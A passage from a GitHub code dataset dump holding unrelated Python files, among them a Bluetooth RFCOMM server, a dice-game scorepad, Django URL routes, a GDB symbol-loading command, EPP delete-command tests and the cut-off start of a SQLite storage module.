ERROR_CLIENT_SERVER_PARAMETERS_INVALID\n\nclass BluetoothRFCOMM:\n message = \"This is the BluetoothRFCOMM class message\"\n client_sock = \"\"\n #constructor\n def __init__(self):\n print( \"BluetoothRFCOMM class created\")\n \n \n def initBluetooth(self, uuid):\n try:\n server_sock= BluetoothSocket( RFCOMM )\n \n server_sock.bind((\"\",PORT_ANY))\n server_sock.listen(1)\n \n advertise_service( server_sock, \"BluetoothServer\",\n service_id = uuid,\n service_classes = [ uuid, SERIAL_PORT_CLASS ],\n profiles = [ SERIAL_PORT_PROFILE ],)\n \n port = server_sock.getsockname()[1]\n print( \"Waiting for connection on RFCOMM channel %d\" % port)\n \n client_sock, client_info = server_sock.accept()\n\n self.client_sock = client_sock\n print( \"Accepted connection from \", client_info)\n return client_sock\n #self.threadLock = threading.Lock()\n\n recieveThread = bluetoothRecieveThread(1,\"Recieve Thread 1\",client_sock)\n recieveThread.start()\n \n #stringMessage = \"Test message from Python PC app\"\n #self.sendData(msg=stringMessage)\n \n except (KeyboardInterrupt):\n \n print( \"disconnected\")\n \n self.client_sock.close()\n server_sock.close()\n print( \"all done\")\n \n def sendData(self,msg,client_sock):\n try:\n #self. threadLock.acquire()\n client_sock.send(msg) \n #self.threadLock.release()\n except IOError:\n print( \"sendData IO error: \")\n except Exception as e:\n print( \"sendData ex error: \" + str(e))\n \n def recieveData(self,client_sock):\n try:\n #self. threadLock.acquire()\n data = client_sock.recv(1024)\n if len(data) != 0: \n print (\"received [%s]\" % data)\n return data\n return \"\"\n #self.threadLock.release()\n except IOError:\n print( \"recieveData IO error: \")\n except Exception as e:\n print( \"recieveData ex error: \" + str(e))\n \nclass bluetoothRecieveThread(threading.Thread):\n recieveRun = False\n \n def __init__(self, threadID, name, client_socket):\n try:\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.client_socket = client_socket\n print( \"bluetoothRecieveThread init created with ID= \" + str(threadID) + \" and name= \" + name)\n except Exception as e:\n print( \"bluetoothRecieveThread init ex error: \" + str(e))\n \n def run(self):\n \n try:\n # Get lock to synchronize threads\n \n if not(bluetoothRecieveThread.recieveRun):\n \n bluetoothRecieveThread.recieveRun = True\n while(bluetoothRecieveThread.recieveRun):\n #BluetoothRFCOMM.threadLock.acquire()\n data = self.client_socket.recv(1024)\n #BluetoothRFCOMM.threadLock.release()\n if len(data) != 0: \n print (\"received [%s]\" % data)\n \n else:\n print (\"not looking for recieved data\")\n \n except IOError:\n print( \"bluetoothRecieveThread run IO error: \")\n except Exception as e:\n print( \"bluetoothRecieveThread run ex error: \" + str(e))\n\n","repo_name":"Kazava/SteamVRNoVive","sub_path":"src/BluetoothRFCOMM.py","file_name":"BluetoothRFCOMM.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40251014465","text":"import os\n\n\ndef currentWorkingDirectory():\n cwd = os.getcwd()\n print(cwd)\n\n\ndef filePath(fileName) -> None:\n path = os.path.abspath(fileName)\n print(path)\n\n path = os.path.relpath(fileName)\n print(path)\n\n\ncurrentWorkingDirectory()\n\nfile = \"text.txt\"\nfilePath(file)\nprint()\n\nprint(os.listdir())\n","repo_name":"devKhush/Python","sub_path":"18-Scripting/01_os_module.py","file_name":"01_os_module.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13636001139","text":"\"\"\"Store scores for players\"\"\"\n\n# Points for fixed score categories in Dict\n\nfixed_scores = {'score_full_house': 25,\n 'score_straight_small': 30,\n 'score_straight_large': 40,\n 'score_kind_five_of': 50,\n 'upper_section_bonus': 35,\n }\n\n# Lower section categories that use total of dice for score\n\nlower_section_categories_total_dice_score = ['lower_kind_three_of',\n 'lower_kind_four_of',\n 'lower_all_dice',\n ]\n\n# *** TEST PURPOSES ONLY *** REMOVE AFTER TESTING\n# class Scorepad_:\n# \"\"\"Store player score for each category\"\"\"\n# def __init__(self,\n# name,\n# ):\n# self.name = name\n# self.upper_ones = 0\n# self.upper_twos = 0\n# self.upper_threes = 0\n# self.upper_fours = 99\n# self.upper_fives = 9\n# self.upper_sixes = 99\n# self.lower_kind_three_of = 99\n# self.lower_kind_four_of = 9\n# self.lower_full_house = 0\n# self.lower_straight_small = 99\n# self.lower_straight_large = 99\n# self.lower_kind_five_of = 0\n# self.lower_all_dice = 0\n# self.lower_bonus_count = 0\n# self.lower_bonus = 0\n# self.track_ones = 1\n# self.track_twos = 1\n# self.track_threes = 1\n# self.track_fours = 1\n# self.track_fives = 1\n# self.track_sixes = 0\n# self.track_kind_three_of = 1\n# self.track_kind_four_of = 1\n# self.track_full_house = 0\n# self.track_straight_small = 1\n# self.track_straight_large = 1\n# self.track_kind_five_of = 1\n# self.track_all_dice = 1\n# self.upper_section_total_show = self.upper_section_total()\n# self.available_choices = self.initialize_choices_list()\n# self.web_turn_tracking = 0\n# self.web_dice_list = []\n# self.web_dice_list_hold = []\n\n# Original Scorepad_ - Restore after testing\nclass Scorepad_:\n \"\"\"Store player score for each category\"\"\"\n def __init__(self,\n name,\n ):\n self.name = name\n self.upper_ones = 0\n self.upper_twos = 0\n self.upper_threes = 0\n self.upper_fours = 0\n self.upper_fives = 0\n self.upper_sixes = 0\n self.lower_kind_three_of = 0\n self.lower_kind_four_of = 0\n self.lower_full_house = 0\n self.lower_straight_small = 0\n self.lower_straight_large = 0\n self.lower_kind_five_of = 0\n self.lower_all_dice = 0\n self.lower_bonus_count = 0\n self.lower_bonus = 0\n self.track_ones = 0\n self.track_twos = 0\n self.track_threes = 0\n self.track_fours = 0\n self.track_fives = 0\n self.track_sixes = 0\n self.track_kind_three_of = 0\n self.track_kind_four_of = 0\n self.track_full_house = 0\n self.track_straight_small = 0\n self.track_straight_large = 0\n self.track_kind_five_of = 0\n self.track_all_dice = 0\n self.zeroed_ones = ' '\n self.zeroed_twos = ' '\n self.zeroed_threes = ' '\n self.zeroed_fours = ' '\n self.zeroed_fives = ' '\n self.zeroed_sixes = ' '\n self.zeroed_kind_three_of = ' '\n self.zeroed_kind_four_of = ' '\n self.zeroed_full_house = ' '\n self.zeroed_straight_small = ' '\n self.zeroed_straight_large = ' '\n self.zeroed_kind_five_of = ' '\n self.zeroed_all_dice = ' '\n self.upper_section_total_show = self.upper_section_total()\n self.available_choices = self.initialize_choices_list()\n self.web_turn_tracking = 0\n self.web_dice_list = []\n self.web_dice_list_hold = []\n\n def __repr__(self):\n return repr(f'Player name ***: {self.name}')\n\n def upper_section_bonus_calc(self):\n\n if self.upper_section_total() >= 63:\n return fixed_scores['upper_section_bonus']\n else:\n return 0\n\n def upper_section_total(self):\n upper_section = [self.upper_ones,\n self.upper_twos,\n self.upper_threes,\n self.upper_fours,\n self.upper_fives,\n self.upper_sixes,\n ]\n\n return sum(upper_section)\n\n def upper_section_total_and_bonus(self):\n\n return self.upper_section_total() + self.upper_section_bonus_calc()\n\n def lower_section_total(self):\n lower_section = [self.lower_kind_three_of,\n self.lower_kind_four_of,\n self.lower_full_house,\n self.lower_straight_small,\n self.lower_straight_large,\n self.lower_kind_five_of,\n self.lower_all_dice,\n self.lower_bonus,\n ]\n\n return sum(lower_section)\n\n def grand_total(self):\n return self.upper_section_total_and_bonus() + self.lower_section_total()\n\n def initialize_choices_list(self):\n \"\"\"Returns a list of choices that are availble and as player makes a\n selection during the game, the choice is removed from this list.\n \"\"\"\n\n return ['1', # Ones\n '2', # Twos\n '3', # Threes\n '4', # Fours\n '5', # Fives\n '6', # Sixes\n 'A', # Three of a Kind\n 'B', # Four of a Kind\n 'C', # Full House\n 'D', # Small Straight\n 'E', # Large Straight\n 'F', # Five of a Kind\n 'G', # Any Dice\n 'H', # Five of a Kind Bonus\n ]\n\n\ndef total_all_dice(dice_list):\n return sum(dice_list)\n\n\ndef upper_section_scoring(die_value, dice_list):\n\n score = 0\n print(f'die value: {die_value}')\n\n for _ in dice_list:\n if _ == die_value:\n score += die_value\n\n return score\n\n\ndef lower_section_scoring(score_category, dice_list):\n if score_category in lower_section_categories_total_dice_score:\n return total_all_dice(dice_list)\n else:\n return fixed_scores[score_category]\n\n\nif __name__ == '__main__':\n ###############################################################################\n # Object Testing\n\n player1 = Scorepad_('Johnny')\n\n print(f'Name of player is {player1.name}')\n print(f'Upper Section Scores:')\n print(f'One\\'s: {player1.upper_ones}')\n print(f'Two\\'s: {player1.upper_twos}')\n\n test_list = [1, 1, 1, 4, 4, 3]\n\n print()\n print('Add 10 and 20 to each score respectively')\n\n player1.upper_ones += 0\n player1.upper_twos += 0\n player1.upper_sixes += 0\n player1.lower_full_house += lower_section_scoring('score_full_house',\n test_list\n )\n\n player1.lower_all_dice += total_all_dice(test_list)\n\n player1.upper_ones += upper_section_scoring(5, test_list)\n\n print(f'Updated Upper Section Scores:')\n print(f'One\\'s: {player1.upper_ones}')\n print(f'Two\\'s: {player1.upper_twos}')\n print(f'Six\\'s: {player1.upper_sixes}')\n print(f'Full House: {player1.lower_full_house}')\n print(f'Total All Dice: {player1.lower_all_dice}')\n print()\n print(f'Upper section total: {player1.upper_section_total()}')\n print(f'Lower section total: {player1.lower_section_total()}')\n print(f'Grand total: {player1.grand_total()}')\n print()\n print(f\"Full House Score: {fixed_scores['score_full_house']}\")\n print(f\"Small Straight Score: {fixed_scores['score_straight_small']}\")\n print(player1)\n","repo_name":"sammyrTX/dice-cvn","sub_path":"pkg/scorekeeping/scorepad.py","file_name":"scorepad.py","file_ext":"py","file_size_in_byte":7880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13173980256","text":"import random\n\n\ndef get_channel(driver, team_name, channel_name):\n \"\"\"\n Retrieve a channel given a team and channel name.\n Returns the JSON response from the Mattermost API.\n \"\"\"\n response = driver.channels.get_channel_by_name_and_team_name(\n team_name, channel_name)\n return response\n\n\ndef get_channel_members(driver, team_name, channel_name):\n \"\"\"\n Retrieve all of the members from a channel given a team and channel name.\n Returns a list of user IDs sorted alphabetically.\n \"\"\"\n channel = get_channel(driver, team_name, channel_name)\n channel_id = channel['id']\n\n # By default, the Mattermost API will return only 60 members. Set this to\n # an amount that is at least the number of members in the channel to get\n # all members\n params = {\n 'per_page': '10000'\n }\n response = driver.channels.get_channel_members(channel_id, params=params)\n\n bot = driver.users.get_user('me')\n bot_id = bot['id']\n\n # Return all of the user IDs excluding the bot's user ID (don't want to\n # count the bot as a user in pairings)\n members = [\n member['user_id'] for member in response if (\n member['user_id'] != bot_id)]\n\n # Sort the member list alphabetically so that when we create pairs in the\n # database using the list, we won't create duplicate pairs (A <-> B is the\n # same as B <-> A)\n members.sort()\n\n return members\n\ndef select_quote():\n with open(\"./mediations.sentances.txt\") as sentances:\n line = random.choice(sentances.readlines())\n return line\n\n\ndef post_quote(driver, channel_id):\n message_options = {\n \"channel_id\": channel_id,\n \"message\": select_quote()\n }\n\n response = driver.posts.create_post(message_options)\n return response\n","repo_name":"riatzukiza/virtue-bot","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22049815479","text":"# from xml.etree.ElementInclude import include\nfrom django.urls import include\nfrom django.urls import path\nfrom api.views.AuthView import *\nfrom api.views.CompanyView import *\nfrom api.views.EmployeeView import * \napp_name = 'api'\n\n\n# extra_patterns = [\n# path('test', test, name='test')\n# ]\n\nurlpatterns = [\n # Authintication Urls\n path('registration/employee/', EmployeeRegistrationView.as_view(), name='register-employee'),\n path('registration/company/', CompanyRegistrationView.as_view(), name='register-company'),\n path('login/', login_user, name='login'),\n path('logout/', logout_user, name='logout'),\n\n # Employee Urls\n path('employee/', include([\n path('profile/', retrive_profile),\n path('profile/', update_profile),\n path('jobs/', jobs_all),\n path('jobs/', job_details),\n path('jobs/apply/', apply_job),\n path('jobs/cansel-apply/', cansel_apply),\n ])),\n \n # Company Urls\n path('company/', include([\n path('jobs/', job_list),\n path('jobs/', job_details),\n path('jobs/create/', job_create),\n path('jobs/update/', job_update),\n path('jobs/delete/', job_delete),\n path('employee/show-profile/', show_profile),\n ]))\n]\n\n","repo_name":"ehsan-nosair/cvs-analyzer","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15184526688","text":"'''\n@author: wanzeyu\n\n@contact: wan.zeyu@outlook.com\n\n@file: readability_cal.py\n\n@time: 2018/1/24 17:57\n'''\nimport pickle\n\nfrom textstat.textstat import textstat\nfrom helper import get_parse\n\n# acceptable = [\"[NN]\", \"[VBD]\", \"[VBZ]\", \"[VBG]\", \"[VB]\", \"[NNP]\", \"[JJ]\", \"[JJR]\", \"[JJS]\"]\nacceptable = []\ndict_file = open(\"repla_dict_v2.pkl\", \"rb\")\nrepl_dict = pickle.load(dict_file)\nuni_penny_mapping_target = open(\"uni_penny_mapping.pkl\", \"rb\")\nuni_penny_mapping = pickle.load(uni_penny_mapping_target)\nfor key in uni_penny_mapping:\n acceptable.append(\"[\" + key + \"]\")\nfile_name = \"beam_size_4_residual.txt\"\nparse_result = \"parse.pkl\"\n\ndict_file.close()\nuni_penny_mapping_target.close()\n\nautomatic_readability_index = 0\nflesch_kincaid_readability = 0\nautomatic_readability_index_processed = 0\nflesch_kincaid_readability_processed = 0\n\n\ndef get_replacement(sent):\n \"\"\"\n replace sentence with correct words\n :param sent:\n :return:\n \"\"\"\n sent = sent.split()\n res = []\n for word in sent:\n if word in repl_dict:\n res.append(repl_dict[word][2])\n else:\n res.append(word)\n return \" \".join(res)\n\n\ndef get_lexical_replacement(sent, parse_info):\n \"\"\"\n replace sentence with correct words according to the parse info\n :param sent:\n :param parse_info:\n :return:\n \"\"\"\n for lexical in repl_dict:\n try:\n position = sent.split().index(lexical.split()[0])\n items = repl_dict[lexical]\n for item in items:\n syntactic_category, paraphrase_score, simplification_score, output = item\n if float(paraphrase_score) >= 4.0 and syntactic_category in acceptable:\n if syntactic_category.strip(\"[]\") in uni_penny_mapping:\n mapping = uni_penny_mapping[syntactic_category.strip(\"[]\")]\n uni_pos_tag = mapping[0]\n uni_morph = mapping[1]\n try:\n sent_parse = parse_info[position]\n if uni_pos_tag == sent_parse[3] and uni_morph in sent_parse[5]:\n print(mapping)\n print(sent_parse)\n sent = sent.replace(lexical, output)\n try:\n parse_info = get_parse(sent)\n except Exception as e:\n print(\"network time out\")\n print(\"original:\" + lexical)\n print(\"repla:\" + output)\n print(\"==================\")\n elif syntactic_category in [\"[VBD]\", \"[VBZ]\", \"[VBG]\", \"[VB]\", \"[NNP]\", \"[JJ]\", \"[JJR]\",\n \"[JJS]\"]:\n pass\n # print(\"===== unmatched result===\")\n # print(mapping)\n # print(sent_parse)\n # print(\"===== unmatched result===\")\n except IndexError:\n print(\"out of index\")\n except ValueError:\n pass\n return sent\n\n\nif __name__ == \"__main__\":\n line_count = 0\n parse_list = pickle.load(open(parse_result, \"rb\"))\n with open(\"replaced.txt\", \"w\", encoding=\"utf8\") as writer:\n with open(file_name, \"r\", encoding=\"utf8\") as fp:\n for line in fp:\n # if line_count == 500:\n # break\n automatic_readability_index += textstat.automated_readability_index(line)\n flesch_kincaid_readability += textstat.dale_chall_readability_score(line)\n replaced = get_lexical_replacement(line, parse_list[line_count])\n writer.write(replaced)\n writer.write(\"\\n\")\n automatic_readability_index_processed += textstat.automated_readability_index(replaced)\n flesch_kincaid_readability_processed += textstat.dale_chall_readability_score(replaced)\n line_count += 1\n automatic_readability_index_avg_score = automatic_readability_index / line_count\n flesch_kincaid_readability_avg_score = flesch_kincaid_readability / line_count\n automatic_readability_index_processed_avg_score = automatic_readability_index_processed / line_count\n flesch_kincaid_readability_processed_avg_score = flesch_kincaid_readability_processed / line_count\n print(automatic_readability_index_avg_score)\n print(flesch_kincaid_readability_avg_score)\n print(automatic_readability_index_processed_avg_score)\n print(flesch_kincaid_readability_processed_avg_score)\n","repo_name":"paulx3/readability_manipulation","sub_path":"readability_cal.py","file_name":"readability_cal.py","file_ext":"py","file_size_in_byte":4789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14248667537","text":"#! /usr/bin/env python3\n\"\"\"\nLaunch and debug using the serial connection to the valve or MCPC by connecting to \nit and opening a connection for sending and receiving commands.\nThis program takes a command line argument, where the argument 'valve' connects\nto the valve and the argument 'mcpc' connects to the MCPC.\n\"\"\"\nimport argparse\nimport os\nimport sys\nimport time\n\nfrom common import get_config\n\n# Grab the dependency from the directory above.\nsys.path.append(os.path.realpath('..'))\nfrom serialdevices import MCPC, ThreeWayValve\n\ndef main():\n \"\"\"\n Connect to the specified device so that the tester can send commands to it.\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('Device', type=str, help=\"Specify which device (either\" \\\n \"valve or mcpc) to connect to.\")\n cfg = get_config()\n\n # Parse the input argument to determine which device to connect to.\n args = parser.parse_args()\n device = None\n if args.Device == \"valve\":\n device = ThreeWayValve()\n device.connect(port=cfg.valve_port, baudrate=cfg.valve_baud, reset=False)\n elif args.Device == \"mcpc\":\n device = MCPC()\n device.connect(port=cfg.mcpc_port, baudrate=cfg.mcpc_baud)\n else:\n print(\"Please specify whether to connect to the valve or mcpc.\")\n return\n\n # Set up a command line interface.\n try:\n while True:\n cmd = input('cmd: ')\n device._write(cmd + '\\n')\n time.sleep(0.1)\n print('\\n'.join(map(repr, device.read_all().splitlines(keepends=True))))\n except (KeyboardInterrupt, EOFError):\n pass\n\nif __name__ == '__main__':\n main()\n","repo_name":"airpartners/logger","sub_path":"test/serial_test.py","file_name":"serial_test.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34863364254","text":"import gdb\nimport os\nimport sys\nfrom typing import *\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nfrom utils.messenger import Severity, Messenger\n\n\nclass LoadLibrarySymbol(gdb.Command):\n\n def __init__(self):\n \"\"\"\n Please follow this template and change the following variables:\n 1. self.__command_name\n 2. self.__num_args\n 3. self.__ret_variable_gdb\n \"\"\"\n self.__command_name = \"load_library_symbol\"\n self.__num_args = 2\n self.__ret_variable_gdb = \"${}_ret\".format(self.__command_name)\n\n self.__messenger = Messenger()\n super(LoadLibrarySymbol, self).__init__(self.__command_name, gdb.COMMAND_USER)\n self.__usage()\n return\n\n def __check_arguments(self,\n arg_tokens: List[str]) -> bool:\n if len(arg_tokens) != self.__num_args:\n self.__messenger.print_message(Severity.ERROR, \"{}: Expected {} arguments but \"\n \"got {} arguments instead!\".format(self.__command_name,\n self.__num_args,\n len(arg_tokens)))\n return False\n return True\n\n def __usage(self) -> None:\n self.__messenger.print_message(Severity.INFO, \"Example usage of {}:\".format(self.__command_name))\n print(\"Template: {} {} {}\".format(self.__command_name, \"\", \"\"))\n print(\"Eg. {} {} {}\".format(self.__command_name, \"/usr/lib/x86_64-linux-gnu\", \"ld-linux-x86-64.so.2\"))\n print(\" - command name: {}\".format(self.__command_name))\n print(\" - number of arguments: {}\".format(self.__num_args))\n print(\" - ret variable in gdb: {}\".format(self.__ret_variable_gdb))\n print(\" -> returns 1 on failure, 0 on success\")\n return\n\n def invoke(self,\n args: str,\n from_tty: bool = False) -> None:\n arg_tokens = [arg.strip() for arg in args.split()]\n if not self.__check_arguments(arg_tokens):\n self.__usage()\n return\n\n library_dir = arg_tokens[0]\n library_name = arg_tokens[1]\n if not os.path.isdir(library_dir):\n self.__messenger.print_message(Severity.ERROR, \"Unable to find directory: {}\".format(library_dir))\n gdb.execute(\"set {} = 1\".format(self.__ret_variable_gdb))\n return\n gdb.execute(\"set solib-search-path {}\".format(library_dir), to_string=True)\n\n if not os.path.exists(os.path.join(library_dir, library_name)):\n self.__messenger.print_message(Severity.ERROR, \"Unable to find {} in {} directory!\".format(library_name,\n library_dir))\n gdb.execute(\"set {} = 1\".format(self.__ret_variable_gdb))\n return\n\n gdb.execute(\"sharedlibrary \" + library_name, to_string=True)\n ret = gdb.execute(\"info sharedlibrary {}\".format(library_name), to_string=True)\n if not ret:\n self.__messenger.print_message(Severity.ERROR, \"Unable to load symbols from library: {}\".format(library_name))\n gdb.execute(\"set {} = 1\".format(self.__ret_variable_gdb))\n\n gdb.execute(\"set {} = 0\".format(self.__ret_variable_gdb))\n return\n\n\nLoadLibrarySymbol()\n","repo_name":"mathscantor/mGDB","sub_path":"gdb_scripts/py_commands/load_library_symbol.py","file_name":"load_library_symbol.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31482042180","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom IPython.display import display\nfrom tabulate import tabulate\n\ndef plot(company, percentage_gains, stock_indices):\n fig, axes = plt.subplots(2, 2, figsize=(25, 20))\n plotPercentageGainPerYear(percentage_gains, company, axes[0, 0])\n plotStockPriceTimeSeries(stock_indices, company, axes[0, 1])\n plotStockPriceTimeSeries(stock_indices, company, axes[1, 0], last_days = 7)\n axes[1, 1].axis('off')\n plt.subplots_adjust(wspace=0.5, hspace=0.4)\n plt.show()\n\ndef plotPercentageGainPerYear(dataset, company, ax):\n company_selected = dataset.loc[dataset['CompanyName'] == company, ['Year', 'PercentageGain']]\n \n ax.bar(company_selected['Year'], company_selected['PercentageGain'])\n\n ax.set_xlabel('Year', fontdict={'fontsize': 14})\n ax.set_ylabel('Percentage Gain (%)', fontdict={'fontsize': 14})\n ax.set_title('Percentage gain in function of the year', fontdict={'fontsize': 17})\n\ndef plotStockPriceTimeSeries(dataset, cie, ax, last_days = 0):\n stocks_company = dataset.loc[dataset['CompanyName'] == cie, 'Date':'Close']\n if last_days > 0:\n stocks_company = stocks_company.tail(last_days)\n stocks_company = stocks_company.set_index('Date')\n\n stocks_company['Open'].plot(label=\"Open\", ax=ax, legend=True, rot=90)\n stocks_company['Close'].plot(label=\"Close\", ax=ax, legend=True, rot=90)\n stocks_company['High'].plot(label=\"High\", ax=ax, legend=True, rot=90)\n stocks_company['Low'].plot(label=\"Low\", ax=ax, legend=True, rot=90)\n\n ax.set_xlabel('Date', fontdict={'fontsize': 14})\n ax.set_ylabel('Stock Price ($)', fontdict={'fontsize': 14})\n ax.set_title('Time series of the market stock prices (open, close, high and low)', fontdict={'fontsize': 17})\n \ndef displayLastDayStockPriceAndGain(dataset, cie):\n stocks_cie = dataset.loc[dataset['CompanyName'] == cie, ['Date', 'Open', 'Close', 'Volume']]\n stocks_cie['PercentageGain'] = (stocks_cie['Close'] - stocks_cie['Open']) / stocks_cie['Open'] * 100\n stocks_cie['Volume'] = stocks_cie['Volume'].astype(np.int64)\n \n open_market_cap = stocks_cie['Open'].iloc[-1] * stocks_cie['Volume'].iloc[-1]\n close_market_cap = stocks_cie['Close'].iloc[-1] * stocks_cie['Volume'].iloc[-1]\n \n last_day_stock_dict = {'Date': [stocks_cie['Date'].iloc[-1]],\n 'Open': [round(stocks_cie['Open'].iloc[-1], 2)],\n 'Close': [round(stocks_cie['Close'].iloc[-1], 2)],\n 'Number of flowing shares': [stocks_cie['Volume'].iloc[-1]],\n 'Percentage gain': [round(stocks_cie['PercentageGain'].iloc[-1], 2)],\n 'Open market cap': [round(open_market_cap, 2)],\n 'Close market cap': [round(close_market_cap, 2)],\n 'Market cap gain': [round(close_market_cap - open_market_cap, 2)]}\n last_day_stock = pd.DataFrame(data=last_day_stock_dict)\n \n print(tabulate(tabular_data=last_day_stock, \n showindex=False, \n disable_numparse=True, \n headers=last_day_stock.columns) + \"\\n\")\n\ndef showBiggestCiesGainerOverTime(dataset, from_date):\n stocks = dataset.loc[dataset['Date'] > from_date, ['CompanyName' ,'Open', 'Close']]\n\n stocks = stocks.groupby(['CompanyName']) \\\n .agg(Open=pd.NamedAgg(column=\"Open\", aggfunc=\"first\"), \n Close=pd.NamedAgg(column=\"Close\", aggfunc=\"last\")) \\\n .reset_index()\n stocks['PercentageGain'] = (stocks['Close'] - stocks['Open']) / stocks['Open'] * 100\n stocks.loc[stocks['PercentageGain'] == np.inf, 'PercentageGain'] = 0.0\n stocks = stocks.sort_values(by=\"PercentageGain\", ascending=False)\n\n print(\"From: {:%Y-%m-%d}\".format(from_date))\n display(stocks)","repo_name":"glapointe7/SP500Stocks","sub_path":"Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"9378403783","text":"#-*- Coding:utf8 -*-\n\ndef TestFunc(n = 0):\n sum = 0; product = 1;\n for i in range(1, n + 1):\n sum += i\n product *= i\n return sum, product\n\ns, p = TestFunc(int(input()))\nprint('%d\\n%d'%(p, s))\n","repo_name":"andylinpersonal/CSX.Python.Class.HW","sub_path":"src/Lv6.3073.MultipleReturn.py","file_name":"Lv6.3073.MultipleReturn.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13440260666","text":"\r\n\"\"\"\r\nImage Data Analysis Using Numpy & OpenCV\r\nauthor: Mohammed Innat\r\nemail: innat1994@gmail.com\r\nwebsite: https://iphton.github.io/iphton.github.io/\r\nPlease feel free to use and modify this, but keep the above information. Thanks!\r\n\"\"\"\r\nfrom sklearn import cluster\r\npic = imageio.imread('')\r\nplt.imshow(pic)\r\n\r\nx, y, z = pic.shape\r\npic_2d = pic.reshape(x*y, z)\r\n\r\nkmeans_cluster = cluster.KMeans(n_clusters=5)\r\nkmeans_cluster.fit(pic_2d)\r\ncluster_centers = kmeans_cluster.cluster_centers_\r\ncluster_labels = kmeans_cluster.labels_\r\n\r\nplt.figure(figsize = (15,8))\r\nplt.imshow(cluster_centers[cluster_labels].reshape(x, y, z))\r\n","repo_name":"innat/DIP-In-Python","sub_path":"Segmentation/Threshold/KMeans Clustering/KMeans_Clustering.py","file_name":"KMeans_Clustering.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"47"} +{"seq_id":"73885985423","text":"from lxml.builder import ElementMaker\nfrom lxml.etree import QName, fromstring\n\nfrom epplib.commands import DeleteContact, DeleteDomain, DeleteKeyset, DeleteNsset\nfrom epplib.constants import NAMESPACE, SCHEMA_LOCATION\nfrom epplib.tests.utils import EM, XMLTestCase, make_epp_root\n\n\nclass TestDeleteDomain(XMLTestCase):\n domain = \"domain.cz\"\n\n def test_valid(self):\n self.assertRequestValid(DeleteDomain, {\"name\": self.domain})\n\n def test_data(self):\n root = fromstring(DeleteDomain(self.domain).xml())\n domain = ElementMaker(namespace=NAMESPACE.NIC_DOMAIN)\n expected = make_epp_root(\n EM.command(\n EM.delete(\n domain.delete(\n {\n QName(\n NAMESPACE.XSI, \"schemaLocation\"\n ): SCHEMA_LOCATION.NIC_DOMAIN\n },\n domain.name(self.domain),\n )\n )\n )\n )\n self.assertXMLEqual(root, expected)\n\n\nclass TestDeleteContact(XMLTestCase):\n contact = \"CID-MYOWN\"\n\n def test_valid(self):\n self.assertRequestValid(DeleteContact, {\"id\": self.contact})\n\n def test_data(self):\n root = fromstring(DeleteContact(self.contact).xml())\n contact = ElementMaker(namespace=NAMESPACE.NIC_CONTACT)\n expected = make_epp_root(\n EM.command(\n EM.delete(\n contact.delete(\n {\n QName(\n NAMESPACE.XSI, \"schemaLocation\"\n ): SCHEMA_LOCATION.NIC_CONTACT\n },\n contact.id(self.contact),\n )\n )\n )\n )\n self.assertXMLEqual(root, expected)\n\n\nclass TestDeleteKeyset(XMLTestCase):\n keyset = \"KID-MYOWN\"\n\n def test_valid(self):\n self.assertRequestValid(DeleteKeyset, {\"id\": self.keyset})\n\n def test_data(self):\n root = fromstring(DeleteKeyset(self.keyset).xml())\n keyset = ElementMaker(namespace=NAMESPACE.NIC_KEYSET)\n expected = make_epp_root(\n EM.command(\n EM.delete(\n keyset.delete(\n {\n QName(\n NAMESPACE.XSI, \"schemaLocation\"\n ): SCHEMA_LOCATION.NIC_KEYSET\n },\n keyset.id(self.keyset),\n )\n )\n )\n )\n self.assertXMLEqual(root, expected)\n\n\nclass TestDeleteNsset(XMLTestCase):\n nsset = \"NID-MYOWN\"\n\n def test_valid(self):\n self.assertRequestValid(DeleteNsset, {\"id\": self.nsset})\n\n def test_data(self):\n root = fromstring(DeleteNsset(self.nsset).xml())\n nsset = ElementMaker(namespace=NAMESPACE.NIC_NSSET)\n expected = make_epp_root(\n EM.command(\n EM.delete(\n nsset.delete(\n {\n QName(\n NAMESPACE.XSI, \"schemaLocation\"\n ): SCHEMA_LOCATION.NIC_NSSET\n },\n nsset.id(self.nsset),\n )\n )\n )\n )\n self.assertXMLEqual(root, expected)\n","repo_name":"cisagov/epplib","sub_path":"epplib/tests/test_commands_delete.py","file_name":"test_commands_delete.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14202205789","text":"import os\nimport sqlite3\nimport threading\nfrom typing import List\n\nfrom scripts.mo.data.storage import Storage\nfrom scripts.mo.environment import env, logger\nfrom scripts.mo.models import Record, ModelType\n\n_DB_FILE = 'database.sqlite'\n_DB_VERSION = 5\n_DB_TIMEOUT = 30\n\n\ndef map_row_to_record(row) -> Record:\n return Record(\n id_=row[0],\n name=row[1],\n model_type=ModelType.by_value(row[2]),\n download_url=row[3],\n 